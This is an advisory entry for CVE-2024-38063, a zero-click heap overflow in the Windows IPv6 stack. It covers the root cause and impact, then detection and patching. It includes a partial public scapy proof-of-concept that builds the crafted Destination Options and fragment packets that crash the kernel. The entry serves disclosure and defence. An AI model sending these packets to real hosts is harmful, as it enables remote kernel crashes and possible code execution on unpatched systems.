Windows TCP/IP IPv6 RCE

aka IPv6 zero-click, tcpip.sys Ipv6pProcessOptions

Product: Microsoft Windows TCP/IP stack (tcpip.sys)
CVE: CVE-2024-38063
Disclosed: 2024-08-13
CVSS: 9.8
Auth: pre-auth
CISA KEV: no
Affected: Windows 10, 11, Server 2008 through Server 2022 with IPv6 enabled.
Fixed: August 2024 Patch Tuesday cumulative updates.

Summary

A zero-click kernel bug in the Windows IPv6 stack reported by Kunlun Lab's XiaoWei. Sending specially crafted IPv6 packets to a Windows host could corrupt kernel memory with no user interaction, and the Windows Firewall does not block it because packets are processed before filtering.

Root cause

When tcpip.sys coalesces several IPv6 packets and processes their extension headers as a batch, a parsing error in the Destination Options header calls IppSendErrorList, which runs IppSendError on every packet in the chain. IppSendError can rewind those packets' buffers to the start, but only the first packet is marked as failed, so the others keep being parsed with a reset offset. A fragment header parsed in that state makes Ipv6pReceiveFragment underflow a 16-bit length (0xffd8); when the reassembly times out, Ipv6pReassemblyTimeout overflows the buffer-size calculation and causes a heap overflow. The patch changes one line in Ipv6pProcessOptions. Public PoCs reliably reach a kernel crash; full RCE requires heap grooming.

Impact

Remote kernel-mode code execution (practically, at least a reliable BSOD) against any reachable IPv6-enabled Windows host.

Public PoC

from scapy.all import *

iface=''
ip_addr=''   # target IPv6 address
mac_addr=''
num_tries=20
num_batches=20

def get_packets(i):
    frag_id = 0xdebac1e + i
    first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]
# ...sends num_batches x num_tries batches, then waits 60s for the reassembly timeout

Source: ynwarcs - CVE-2024-38063 (DoS PoC)

Detection

Check for missing August 2024 cumulative updates. Watch for bursts of malformed IPv6 packets with Destination Options headers and fragmentation from a single source.

Mitigation

Install the August 2024 updates. If patching is delayed, disable IPv6 on interfaces where it is not needed (Microsoft's documented workaround).